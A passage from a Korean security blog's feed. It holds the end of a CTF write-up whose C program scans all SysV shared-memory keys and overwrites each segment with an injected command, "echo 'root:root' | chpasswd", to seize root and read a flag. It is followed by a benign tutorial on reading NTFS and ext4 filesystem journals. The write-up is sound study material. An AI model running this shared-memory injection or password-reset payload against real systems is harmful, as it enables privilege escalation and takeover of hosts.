     &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shm_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
         &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;shmat failed&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// --- 추가 코드 시작: 원래 데이터를 읽어서 출력 ---&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SHM_SIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 기존 메모리 내용을 복사 (널 종결자 확보)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;strncpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shm_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHM_SIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SHM_SIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;\0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-&amp;gt; 기존 데이터 (Key %u): &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// --- 추가 코드 끝 ---&lt;/span&gt;

     &lt;span class=&quot;c1&quot;&gt;// 데이터를 쓰고 연결을 해제합니다.&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;strncpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shm_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHM_SIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;shm_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SHM_SIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;\0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-&amp;gt; 성공: Key %u에 데이터 쓰기 완료: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

     &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmdt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shm_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
         &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;shmdt failed&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// 인자로 &apos;쓸 데이터&apos;를 받습니다.&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stderr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;사용법: %s &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;쓸 데이터&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_to_write&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;프로그램 시작. 모든 키(0 ~ %u)를 주기적으로 스캔하여 데이터를 씁니다.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAX_KEY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;종료하려면 Ctrl+C를 누르세요.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// 전체 스캔을 반복하는 무한 루프&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;


        &lt;span class=&quot;c1&quot;&gt;// 0부터 0xFFFFF까지 모든 키를 순회합니다.&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAX_KEY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;find_and_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_to_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;스캔 완료. %d초 후 다시 시작합니다.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SCAN_INTERVAL_SEC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SCAN_INTERVAL_SEC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./a.out &quot;echo &apos;root:root&apos; | chpasswd&quot; &amp;amp;&lt;/code&gt; 이후 루트로 로그인하여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/flag&lt;/code&gt; 값을 읽었습니다.&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server Status Revenge&lt;/code&gt; 문제를 풀고 나니 플래그가 맞지 않아 운영진에게 문의했었습니다. 오류였다고 해서 수정했다고 하자마자 제출했는데 First Blood가 아니더라고요…&lt;/li&gt;
  &lt;li&gt;재미있었습니다.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 07 Jul 2025 13:21:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/no-hack-no-ctf-2025/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/no-hack-no-ctf-2025/</guid>
      </item>
    
      <item>
        <title>운영체제 별 파일 시스템 저널 읽기</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;파일 시스템은 각각 저널 시스템을 가지고 있어, 어떤 파일에 어떠한 접근을 했는지 등을 기록합니다.&lt;/p&gt;

&lt;p&gt;운영체제별 파일 시스템 저널을 보는 방법에 대해 살펴보겠습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;윈도우 : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fsutil usn readJournal C: csv&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;윈도우 트랜젝션 로그 : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTK Imager&lt;/code&gt;로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$LogFile&lt;/code&gt; 확인&lt;/li&gt;
  &lt;li&gt;리눅스 : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;debugfs -R &apos;logdump -a&apos; /dev/sda1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;리눅스 데이터 저널링 : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tune2fs&lt;/code&gt;로 설정 필요&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;데이터베이스 성능 개선중 커널 시스템의 저널링 파일 시스템에 대해 연구하게 되었습니다.&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;h3 id=&quot;윈도우&quot;&gt;윈도우&lt;/h3&gt;

&lt;h4 id=&quot;usn-기록용-로그&quot;&gt;USN (기록용 로그)&lt;/h4&gt;

&lt;p&gt;윈도우 Usn의 경우, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fsutil usn&lt;/code&gt;을 통해 저널을 확인할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$UsnJrnl&lt;/code&gt;의 파일을 읽어 파싱하는 타 응용 프로그램과 동일한 데이터를 다루는 것으로 예상됩니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fsutil usn&lt;/code&gt;입력시 다음처럼 명령어들이 뜨는데, 이 중 사용 가능한 것은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readJournal&lt;/code&gt;입니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-0.png&quot; alt=&quot;fsutil usn 실행 화면&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- `fsutil usn readData`는 파일에 대한 로우 객체를 출력합니다.
- `fsutil usn queryJournal`은 드라이브의 로우 객체를 출력합니다.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fsutil usn readJournal&lt;/code&gt;을 칠 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fsutil usn readJournal &amp;lt;볼륨 경로 이름&amp;gt; [옵션]&lt;/code&gt;과 같은 설명서가 뜨는데, 옵션들은 다음과 같습니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;csv : csv로 출력, 콘솔로 출력되므로 파이프라이닝 필요&lt;/li&gt;
  &lt;li&gt;wait : 해당 명령어를 친 이후에 작성되는 저널을 계속 표시&lt;/li&gt;
  &lt;li&gt;tail : 저널 표시 순서 반전&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;csv옵션을 통해 저널을 출력하고 나면 다음처럼 파일이 드랍됩니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-1.png&quot; alt=&quot;fsutil journal 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;해당 파일엔 N MB용량의 파일 수정 기록이 나오게 됩니다.&lt;/p&gt;

&lt;h4 id=&quot;ntfs-transaction-수정용-저널&quot;&gt;ntfs transaction (수정용 저널)&lt;/h4&gt;

&lt;p&gt;파일 수정용 저널의 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$LogFile&lt;/code&gt;에 기록됩니다. 해당 관련 내용은 자세하게 적혀있지 않아 참고 영역을 참조하시면 좋습니다.&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;관련 분석 툴로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NTFS Log Tracker&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windows Journal Parser&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LogFileParser&lt;/code&gt;이 있다고 합니다. &lt;a href=&quot;https://yum-history.tistory.com/285&quot;&gt;windows forensic yum_yum tistory&lt;/a&gt;을 참조해주세요.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$LogFile&lt;/code&gt;을 보기 위해 윈도우에서 기본적으로 제공되는 툴은 아직 찾지 못했으며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTK Imager&lt;/code&gt; 혹은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Autospy&lt;/code&gt;를 사용해 파일을 구한 후, &lt;a href=&quot;https://sites.google.com/site/forensicnote/ntfs-log-tracker&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NTFS Log Tracker&lt;/code&gt;&lt;/a&gt;을 사용하겠습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-6.png&quot; alt=&quot;autospy logfile dump&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-7.png&quot; alt=&quot;ntfs log tracker&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;제대로 보이고 있습니다.&lt;/p&gt;

&lt;h3 id=&quot;리눅스&quot;&gt;리눅스&lt;/h3&gt;

&lt;p&gt;리눅스의 경우, 원하는 경로가 어디에 마운트 되어있는지 확인 후 저널을 확인할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsblk&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blkid&lt;/code&gt;등의 명령어를 통해, 원하는 경로가 어디에 마운트되어있는지 확인합시다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-2.png&quot; alt=&quot;lsblk 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;debugfs /dev/sha2&lt;/code&gt;를 통해 드라이브를 연 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logdump -S&lt;/code&gt; 혹은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logdump -O&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logdump -a&lt;/code&gt;를 통해 저널 목록을 확인할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-3.png&quot; alt=&quot;logdump -o 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-4.png&quot; alt=&quot;logdump -a 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ext4&lt;/code&gt;에 대해 제대로 저널 표시되고 있습니다.&lt;/p&gt;

&lt;p&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logdump -a&lt;/code&gt;를 통해 확인된 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FS block&lt;/code&gt;을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;block_dump 1234...&lt;/code&gt; 등을 통해 어던 내용이 실제로 적혔는지 확인 가능합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-5.png&quot; alt=&quot;block_dump 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;이외에도 ext관련 파일 시스템에 대한 여러 명령어가 있어서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man debugfs&lt;/code&gt;로 확인해보면 좋을 듯 합니다.&lt;/p&gt;

&lt;h4 id=&quot;저널링-모드-및-데이터-저널&quot;&gt;저널링 모드 및 데이터 저널&lt;/h4&gt;

&lt;p&gt;ext4는 세가지 저널링 모드가 있습니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;journal - 데이터까지 기록되는 저널링 (성능이 느려짐)&lt;/li&gt;
  &lt;li&gt;journal_ordered - 데이터 제외, 메타데이터만 저널링(기본)&lt;/li&gt;
  &lt;li&gt;journal_writeback - writeback모드&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;어떤 모드가 적용되었는지는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dmesg | grep EXT4&lt;/code&gt;입력시 확인 가능하며, 다음과 같은 문구가 포함됩니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;journal - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;...with journalled data mode...&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;journal_ordered - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;...with ordered data mode...&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;journal_writeback - ??&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;적용 및 수정은 다음처럼 할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tune2fs -O has_journal -o journal_data /dev/sda1&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;has_journal&lt;/code&gt; - 저널 사용, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^has_journal&lt;/code&gt;시 저널 미사용&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;journal_data&lt;/code&gt; - 데이터 저널링 사용, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;journal_data_ordered&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;journal_data_writeback&lt;/code&gt; 사용 가능, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man tune2fs&lt;/code&gt; 참조&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;재부팅 필요&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;저널 로그에 데이터까지 제대로 기록되는 모습입니다.&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;작성한 내용은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;abcdefttt\nlowpo&lt;/code&gt;입니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;전용 분석 툴이 있지 않을까 싶습니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-24-8.png&quot; alt=&quot;입력한 데이터가 기록된 모습&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;윈도우는 보기 편하게 해주는 반면 리눅스는 순정 상태의 저널 그대로를 보여주네요&lt;/li&gt;
  &lt;li&gt;특정 파일에 대해 수정된 기록을 보려면 프로그래밍적으로 api로 구현하거나 해야 할 듯 합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NTFS Log Tracker&lt;/code&gt;가 글 작성일로부터 2일 전에 업데이트가 됐네요, 정말 감사한 마음입니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/ko-kr/windows-server/administration/windows-commands/fsutil-usn&quot;&gt;MSDN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kci.go.kr/kciportal/ci/sereArticleSearch/ciSereArtiView.kci?sereArticleSearchBean.artiId=ART001455925&quot;&gt;ntfs kci&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ntfs.com/transaction.htm&quot;&gt;ntfs.com&lt;/a&gt;&lt;/li&gt;
